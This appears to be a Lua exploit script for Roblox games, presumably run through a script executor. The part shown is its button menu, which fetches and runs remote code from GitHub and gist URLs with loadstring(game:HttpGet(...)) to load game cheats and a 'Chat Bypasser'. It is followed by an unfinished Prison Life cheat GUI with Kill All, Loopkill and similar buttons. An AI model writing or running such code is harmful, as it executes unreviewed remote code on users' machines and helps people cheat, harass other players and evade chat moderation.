local Button = MainTab:CreateButton({
Name = "fisch script",
Callback = function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/TheDarkoneMarcillisePex/Other-Scripts/refs/heads/main/Fisch%20GUI'))()
end,
})
local Button = MainTab:CreateButton({
Name = "the strongest battlegrounds script",
Callback = function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/TheDarkoneMarcillisePex/Other-Scripts/refs/heads/main/The%20Strongest%20Battlegrounds%20GUI'))()
end,
})
local Button = MainTab:CreateButton({
Name = "Chat Bypasser",
Callback = function()
loadstring(game:HttpGet("https://gist.githubusercontent.com/mert134/358b6c0b43e67f75dd4c8f1fc17af692/raw/d79af94b05269769e44360e4c4bb4dff5cda2a15/gistfile1.txt"))()
end,
})
local Button = MainTab:CreateButton({
Name = "work at a pizza place script",
Callback = function()
loadstring(game:HttpGet(('https://raw.githubusercontent.com/Hm5011/hussain/refs/heads/main/Work%20at%20a%20pizza%20place'),true))()
end,
})
local Button = MainTab:CreateButton({
Name = "JakeDry gui for prison life",
Callback = function()
--[=[
d888b db db d888888b .d888b. db db db .d8b.
88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b
88 88 88 88 odD' 88 88 88 88ooo88
88 ooo 88 88 88 .88' 88 88 88 88~~~88
88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev
Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER
]=]
-- Instances: 86 | Scripts: 1 | Modules: 0 | Tags: 0
local G2L = {};
-- StarterGui.JakeDry
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["Name"] = [[JakeDry]];
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
-- StarterGui.JakeDry.MainFrame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["Active"] = true;
G2L["2"]["BorderSizePixel"] = 0;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2"]["Selectable"] = true;
G2L["2"]["Size"] = UDim2.new(0, 648, 0, 500);
G2L["2"]["Position"] = UDim2.new(0, 297, 0, 107);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Name"] = [[MainFrame]];
-- StarterGui.JakeDry.MainFrame.GameImage
G2L["3"] = Instance.new("ImageLabel", G2L["2"]);
G2L["3"]["BorderSizePixel"] = 0;
G2L["3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3"]["Image"] = [[rbxassetid://1237471491]];
G2L["3"]["Size"] = UDim2.new(0, 216, 0, 150);
G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3"]["Name"] = [[GameImage]];
G2L["3"]["Position"] = UDim2.new(0, 215, 0, 50);
-- StarterGui.JakeDry.MainFrame.AK
G2L["4"] = Instance.new("TextButton", G2L["2"]);
G2L["4"]["TextWrapped"] = true;
G2L["4"]["BorderSizePixel"] = 0;
G2L["4"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["TextSize"] = 14;
G2L["4"]["TextScaled"] = true;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4"]["Size"] = UDim2.new(0, 215, 0, 50);
G2L["4"]["Name"] = [[AK]];
G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["Text"] = [[Get AK-47]];
-- StarterGui.JakeDry.MainFrame.AK.UIStroke
G2L["5"] = Instance.new("UIStroke", G2L["4"]);
G2L["5"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.AK.UITextSizeConstraint
G2L["6"] = Instance.new("UITextSizeConstraint", G2L["4"]);
G2L["6"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.UIStroke
G2L["7"] = Instance.new("UIStroke", G2L["2"]);
G2L["7"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.Pistol
G2L["8"] = Instance.new("TextButton", G2L["2"]);
G2L["8"]["TextWrapped"] = true;
G2L["8"]["BorderSizePixel"] = 0;
G2L["8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8"]["TextSize"] = 14;
G2L["8"]["TextScaled"] = true;
G2L["8"]["BackgroundColor3"] = Color3.fromRGB(16, 16, 16);
G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8"]["Size"] = UDim2.new(0, 327, 0, 50);
G2L["8"]["Name"] = [[Pistol]];
G2L["8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["Text"] = [[Get M9 (Pistol)]];
G2L["8"]["Position"] = UDim2.new(0, 216, 0, 0);
-- StarterGui.JakeDry.MainFrame.Pistol.UIStroke
G2L["9"] = Instance.new("UIStroke", G2L["8"]);
G2L["9"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.Pistol.UITextSizeConstraint
G2L["a"] = Instance.new("UITextSizeConstraint", G2L["8"]);
G2L["a"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.Shotgun
G2L["b"] = Instance.new("TextButton", G2L["2"]);
G2L["b"]["TextWrapped"] = true;
G2L["b"]["BorderSizePixel"] = 0;
G2L["b"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["TextSize"] = 14;
G2L["b"]["TextScaled"] = true;
G2L["b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b"]["Size"] = UDim2.new(0, 103, 0, 50);
G2L["b"]["Name"] = [[Shotgun]];
G2L["b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["Text"] = [[Get Shotgun]];
G2L["b"]["Position"] = UDim2.new(0, 544, 0, 0);
-- StarterGui.JakeDry.MainFrame.Shotgun.UIStroke
G2L["c"] = Instance.new("UIStroke", G2L["b"]);
G2L["c"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.Shotgun.UITextSizeConstraint
G2L["d"] = Instance.new("UITextSizeConstraint", G2L["b"]);
G2L["d"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.Neutral
G2L["e"] = Instance.new("TextButton", G2L["2"]);
G2L["e"]["TextWrapped"] = true;
G2L["e"]["BorderSizePixel"] = 0;
G2L["e"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["TextSize"] = 14;
G2L["e"]["TextScaled"] = true;
G2L["e"]["BackgroundColor3"] = Color3.fromRGB(123, 123, 123);
G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e"]["Size"] = UDim2.new(0, 215, 0, 50);
G2L["e"]["Name"] = [[Neutral]];
G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["Text"] = [[Be a NEUTRAL]];
G2L["e"]["Position"] = UDim2.new(0, 0, 0, 50);
-- StarterGui.JakeDry.MainFrame.Neutral.UIStroke
G2L["f"] = Instance.new("UIStroke", G2L["e"]);
G2L["f"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.Neutral.UITextSizeConstraint
G2L["10"] = Instance.new("UITextSizeConstraint", G2L["e"]);
G2L["10"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.Guard
G2L["11"] = Instance.new("TextButton", G2L["2"]);
G2L["11"]["TextWrapped"] = true;
G2L["11"]["BorderSizePixel"] = 0;
G2L["11"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11"]["TextSize"] = 14;
G2L["11"]["TextScaled"] = true;
G2L["11"]["BackgroundColor3"] = Color3.fromRGB(45, 101, 255);
G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11"]["Size"] = UDim2.new(0, 215, 0, 50);
G2L["11"]["Name"] = [[Guard]];
G2L["11"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11"]["Text"] = [[Be a GUARD]];
G2L["11"]["Position"] = UDim2.new(0, 0, 0, 100);
-- StarterGui.JakeDry.MainFrame.Guard.UIStroke
G2L["12"] = Instance.new("UIStroke", G2L["11"]);
G2L["12"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.Guard.UITextSizeConstraint
G2L["13"] = Instance.new("UITextSizeConstraint", G2L["11"]);
G2L["13"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.Inmate
G2L["14"] = Instance.new("TextButton", G2L["2"]);
G2L["14"]["TextWrapped"] = true;
G2L["14"]["BorderSizePixel"] = 0;
G2L["14"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["TextSize"] = 14;
G2L["14"]["TextScaled"] = true;
G2L["14"]["BackgroundColor3"] = Color3.fromRGB(255, 178, 52);
G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14"]["Size"] = UDim2.new(0, 215, 0, 50);
G2L["14"]["Name"] = [[Inmate]];
G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["Text"] = [[Be an INMATE]];
G2L["14"]["Position"] = UDim2.new(0, 0, 0, 150);
-- StarterGui.JakeDry.MainFrame.Inmate.UIStroke
G2L["15"] = Instance.new("UIStroke", G2L["14"]);
G2L["15"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.Inmate.UITextSizeConstraint
G2L["16"] = Instance.new("UITextSizeConstraint", G2L["14"]);
G2L["16"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.Criminal
G2L["17"] = Instance.new("TextButton", G2L["2"]);
G2L["17"]["TextWrapped"] = true;
G2L["17"]["BorderSizePixel"] = 0;
G2L["17"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17"]["TextSize"] = 14;
G2L["17"]["TextScaled"] = true;
G2L["17"]["BackgroundColor3"] = Color3.fromRGB(108, 199, 255);
G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17"]["Size"] = UDim2.new(0, 215, 0, 50);
G2L["17"]["Name"] = [[Criminal]];
G2L["17"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17"]["Text"] = [[Be a CRIMINAL]];
G2L["17"]["Position"] = UDim2.new(0, 0, 0, 200);
-- StarterGui.JakeDry.MainFrame.Criminal.UIStroke
G2L["18"] = Instance.new("UIStroke", G2L["17"]);
G2L["18"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.Criminal.UITextSizeConstraint
G2L["19"] = Instance.new("UITextSizeConstraint", G2L["17"]);
G2L["19"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.Car
G2L["1a"] = Instance.new("TextButton", G2L["2"]);
G2L["1a"]["TextWrapped"] = true;
G2L["1a"]["BorderSizePixel"] = 0;
G2L["1a"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["TextSize"] = 14;
G2L["1a"]["TextScaled"] = true;
G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a"]["Size"] = UDim2.new(0, 215, 0, 50);
G2L["1a"]["Name"] = [[Car]];
G2L["1a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["Text"] = [[Spawn Car]];
G2L["1a"]["Position"] = UDim2.new(0, 215, 0, 200);
-- StarterGui.JakeDry.MainFrame.Car.UIStroke
G2L["1b"] = Instance.new("UIStroke", G2L["1a"]);
G2L["1b"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.Car.UITextSizeConstraint
G2L["1c"] = Instance.new("UITextSizeConstraint", G2L["1a"]);
G2L["1c"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.KillAll
G2L["1d"] = Instance.new("TextButton", G2L["2"]);
G2L["1d"]["TextWrapped"] = true;
G2L["1d"]["BorderSizePixel"] = 0;
G2L["1d"]["TextColor3"] = Color3.fromRGB(139, 0, 3);
G2L["1d"]["TextSize"] = 14;
G2L["1d"]["TextScaled"] = true;
G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d"]["Size"] = UDim2.new(0, 217, 0, 50);
G2L["1d"]["Name"] = [[KillAll]];
G2L["1d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d"]["Text"] = [[Kill All]];
G2L["1d"]["Position"] = UDim2.new(0, 215, 0, 250);
-- StarterGui.JakeDry.MainFrame.KillAll.UIStroke
G2L["1e"] = Instance.new("UIStroke", G2L["1d"]);
G2L["1e"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.KillAll.UITextSizeConstraint
G2L["1f"] = Instance.new("UITextSizeConstraint", G2L["1d"]);
G2L["1f"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.RestoreDoors
G2L["20"] = Instance.new("TextButton", G2L["2"]);
G2L["20"]["TextWrapped"] = true;
G2L["20"]["BorderSizePixel"] = 0;
G2L["20"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20"]["TextSize"] = 14;
G2L["20"]["TextScaled"] = true;
G2L["20"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["20"]["Size"] = UDim2.new(0, 125, 0, 50);
G2L["20"]["Name"] = [[RestoreDoors]];
G2L["20"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20"]["Text"] = [[Restore Doors]];
G2L["20"]["Position"] = UDim2.new(0, 431, 0, 150);
-- StarterGui.JakeDry.MainFrame.RestoreDoors.UIStroke
G2L["21"] = Instance.new("UIStroke", G2L["20"]);
G2L["21"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.RestoreDoors.UITextSizeConstraint
G2L["22"] = Instance.new("UITextSizeConstraint", G2L["20"]);
G2L["22"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.SuperPunch
G2L["23"] = Instance.new("TextButton", G2L["2"]);
G2L["23"]["TextWrapped"] = true;
G2L["23"]["BorderSizePixel"] = 0;
G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23"]["TextSize"] = 14;
G2L["23"]["TextScaled"] = true;
G2L["23"]["BackgroundColor3"] = Color3.fromRGB(22, 225, 255);
G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23"]["Size"] = UDim2.new(0, 111, 0, 50);
G2L["23"]["Name"] = [[SuperPunch]];
G2L["23"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["Text"] = [[Super Punch]];
G2L["23"]["Position"] = UDim2.new(0, 431, 0, 100);
-- StarterGui.JakeDry.MainFrame.SuperPunch.UIStroke
G2L["24"] = Instance.new("UIStroke", G2L["23"]);
G2L["24"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.SuperPunch.UITextSizeConstraint
G2L["25"] = Instance.new("UITextSizeConstraint", G2L["23"]);
G2L["25"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.InfJumps
G2L["26"] = Instance.new("TextButton", G2L["2"]);
G2L["26"]["TextWrapped"] = true;
G2L["26"]["BorderSizePixel"] = 0;
G2L["26"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["26"]["TextSize"] = 14;
G2L["26"]["TextScaled"] = true;
G2L["26"]["BackgroundColor3"] = Color3.fromRGB(133, 59, 61);
G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26"]["Size"] = UDim2.new(0, 90, 0, 50);
G2L["26"]["Name"] = [[InfJumps]];
G2L["26"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26"]["Text"] = [[Inf Jumps]];
G2L["26"]["Position"] = UDim2.new(0, 557, 0, 150);
-- StarterGui.JakeDry.MainFrame.InfJumps.UIStroke
G2L["27"] = Instance.new("UIStroke", G2L["26"]);
G2L["27"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.InfJumps.UITextSizeConstraint
G2L["28"] = Instance.new("UITextSizeConstraint", G2L["26"]);
G2L["28"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.UnspamSounds
G2L["29"] = Instance.new("TextButton", G2L["2"]);
G2L["29"]["TextWrapped"] = true;
G2L["29"]["BorderSizePixel"] = 0;
G2L["29"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29"]["TextSize"] = 14;
G2L["29"]["TextScaled"] = true;
G2L["29"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["29"]["Size"] = UDim2.new(0, 215, 0, 50);
G2L["29"]["Name"] = [[UnspamSounds]];
G2L["29"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29"]["Text"] = [[Unspam Sounds]];
G2L["29"]["Position"] = UDim2.new(0, 0, 0, 250);
-- StarterGui.JakeDry.MainFrame.UnspamSounds.UIStroke
G2L["2a"] = Instance.new("UIStroke", G2L["29"]);
G2L["2a"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.UnspamSounds.UITextSizeConstraint
G2L["2b"] = Instance.new("UITextSizeConstraint", G2L["29"]);
G2L["2b"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.Sword
G2L["2c"] = Instance.new("TextButton", G2L["2"]);
G2L["2c"]["TextWrapped"] = true;
G2L["2c"]["BorderSizePixel"] = 0;
G2L["2c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c"]["TextSize"] = 14;
G2L["2c"]["TextScaled"] = true;
G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c"]["Size"] = UDim2.new(0, 216, 0, 50);
G2L["2c"]["Name"] = [[Sword]];
G2L["2c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c"]["Text"] = [[FE Sword]];
G2L["2c"]["Position"] = UDim2.new(0, 431, 0, 200);
-- StarterGui.JakeDry.MainFrame.Sword.UIStroke
G2L["2d"] = Instance.new("UIStroke", G2L["2c"]);
G2L["2d"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.Sword.UITextSizeConstraint
G2L["2e"] = Instance.new("UITextSizeConstraint", G2L["2c"]);
G2L["2e"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.SpamSounds
G2L["2f"] = Instance.new("TextButton", G2L["2"]);
G2L["2f"]["TextWrapped"] = true;
G2L["2f"]["BorderSizePixel"] = 0;
G2L["2f"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["TextSize"] = 14;
G2L["2f"]["TextScaled"] = true;
G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f"]["Size"] = UDim2.new(0, 216, 0, 50);
G2L["2f"]["Name"] = [[SpamSounds]];
G2L["2f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["Text"] = [[Spawn Sounds]];
G2L["2f"]["Position"] = UDim2.new(0, 431, 0, 250);
-- StarterGui.JakeDry.MainFrame.SpamSounds.UIStroke
G2L["30"] = Instance.new("UIStroke", G2L["2f"]);
G2L["30"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.SpamSounds.UITextSizeConstraint
G2L["31"] = Instance.new("UITextSizeConstraint", G2L["2f"]);
G2L["31"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.Keycard
G2L["32"] = Instance.new("TextButton", G2L["2"]);
G2L["32"]["TextWrapped"] = true;
G2L["32"]["BorderSizePixel"] = 0;
G2L["32"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32"]["TextSize"] = 14;
G2L["32"]["TextScaled"] = true;
G2L["32"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["32"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32"]["Size"] = UDim2.new(0, 216, 0, 50);
G2L["32"]["Name"] = [[Keycard]];
G2L["32"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32"]["Text"] = [[Get Keycard]];
G2L["32"]["Position"] = UDim2.new(0, 0, 0, 300);
-- StarterGui.JakeDry.MainFrame.Keycard.UIStroke
G2L["33"] = Instance.new("UIStroke", G2L["32"]);
G2L["33"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.Keycard.UITextSizeConstraint
G2L["34"] = Instance.new("UITextSizeConstraint", G2L["32"]);
G2L["34"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.UnLKAll
G2L["35"] = Instance.new("TextButton", G2L["2"]);
G2L["35"]["TextWrapped"] = true;
G2L["35"]["BorderSizePixel"] = 0;
G2L["35"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35"]["TextSize"] = 14;
G2L["35"]["TextScaled"] = true;
G2L["35"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["35"]["Size"] = UDim2.new(0, 216, 0, 50);
G2L["35"]["Name"] = [[UnLKAll]];
G2L["35"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35"]["Text"] = [[Unloopkill All]];
G2L["35"]["Position"] = UDim2.new(0, 0, 0, 349);
-- StarterGui.JakeDry.MainFrame.UnLKAll.UIStroke
G2L["36"] = Instance.new("UIStroke", G2L["35"]);
G2L["36"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.UnLKAll.UITextSizeConstraint
G2L["37"] = Instance.new("UITextSizeConstraint", G2L["35"]);
G2L["37"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.KillInmates
G2L["38"] = Instance.new("TextButton", G2L["2"]);
G2L["38"]["TextWrapped"] = true;
G2L["38"]["BorderSizePixel"] = 0;
G2L["38"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["38"]["TextSize"] = 14;
G2L["38"]["TextScaled"] = true;
G2L["38"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["38"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["38"]["Size"] = UDim2.new(0, 216, 0, 50);
G2L["38"]["Name"] = [[KillInmates]];
G2L["38"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["38"]["Text"] = [[Kill Inmates]];
G2L["38"]["Position"] = UDim2.new(0, 0, 0, 400);
-- StarterGui.JakeDry.MainFrame.KillInmates.UIStroke
G2L["39"] = Instance.new("UIStroke", G2L["38"]);
G2L["39"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.KillInmates.UITextSizeConstraint
G2L["3a"] = Instance.new("UITextSizeConstraint", G2L["38"]);
G2L["3a"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.BringAll
G2L["3b"] = Instance.new("TextButton", G2L["2"]);
G2L["3b"]["TextWrapped"] = true;
G2L["3b"]["BorderSizePixel"] = 0;
G2L["3b"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["TextSize"] = 14;
G2L["3b"]["TextScaled"] = true;
G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3b"]["Size"] = UDim2.new(0, 216, 0, 50);
G2L["3b"]["Name"] = [[BringAll]];
G2L["3b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["Text"] = [[Bring All]];
G2L["3b"]["Position"] = UDim2.new(0, 216, 0, 300);
-- StarterGui.JakeDry.MainFrame.BringAll.UIStroke
G2L["3c"] = Instance.new("UIStroke", G2L["3b"]);
G2L["3c"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.BringAll.UITextSizeConstraint
G2L["3d"] = Instance.new("UITextSizeConstraint", G2L["3b"]);
G2L["3d"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.KillGuards
G2L["3e"] = Instance.new("TextButton", G2L["2"]);
G2L["3e"]["TextWrapped"] = true;
G2L["3e"]["BorderSizePixel"] = 0;
G2L["3e"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3e"]["TextSize"] = 14;
G2L["3e"]["TextScaled"] = true;
G2L["3e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3e"]["Size"] = UDim2.new(0, 216, 0, 50);
G2L["3e"]["Name"] = [[KillGuards]];
G2L["3e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3e"]["Text"] = [[Kill Guards]];
G2L["3e"]["Position"] = UDim2.new(0, 216, 0, 349);
-- StarterGui.JakeDry.MainFrame.KillGuards.UIStroke
G2L["3f"] = Instance.new("UIStroke", G2L["3e"]);
G2L["3f"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.KillGuards.UITextSizeConstraint
G2L["40"] = Instance.new("UITextSizeConstraint", G2L["3e"]);
G2L["40"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.Btools
G2L["41"] = Instance.new("TextButton", G2L["2"]);
G2L["41"]["TextWrapped"] = true;
G2L["41"]["BorderSizePixel"] = 0;
G2L["41"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["41"]["TextSize"] = 14;
G2L["41"]["TextScaled"] = true;
G2L["41"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["41"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["41"]["Size"] = UDim2.new(0, 216, 0, 50);
G2L["41"]["Name"] = [[Btools]];
G2L["41"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["41"]["Text"] = [[Btools]];
G2L["41"]["Position"] = UDim2.new(0, 216, 0, 400);
-- StarterGui.JakeDry.MainFrame.Btools.UIStroke
G2L["42"] = Instance.new("UIStroke", G2L["41"]);
G2L["42"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border;
-- StarterGui.JakeDry.MainFrame.Btools.UITextSizeConstraint
G2L["43"] = Instance.new("UITextSizeConstraint", G2L["41"]);
G2L["43"]["MaxTextSize"] = 14;
-- StarterGui.JakeDry.MainFrame.LKAll
G2L["44"] = Instance.new("TextButton", G2L["2"]);
G2L["44"]["TextWrapped"] = true;
G2L["44"]["BorderSizePixel"] = 0;
G2L["44"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["TextSize"] = 14;
G2L["44"]["TextScaled"] = true;
G2L["44"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["44"]["Size"] = UDim2.new(0, 216, 0, 50);
G2L["44"]["Name"] = [[LKAll]];
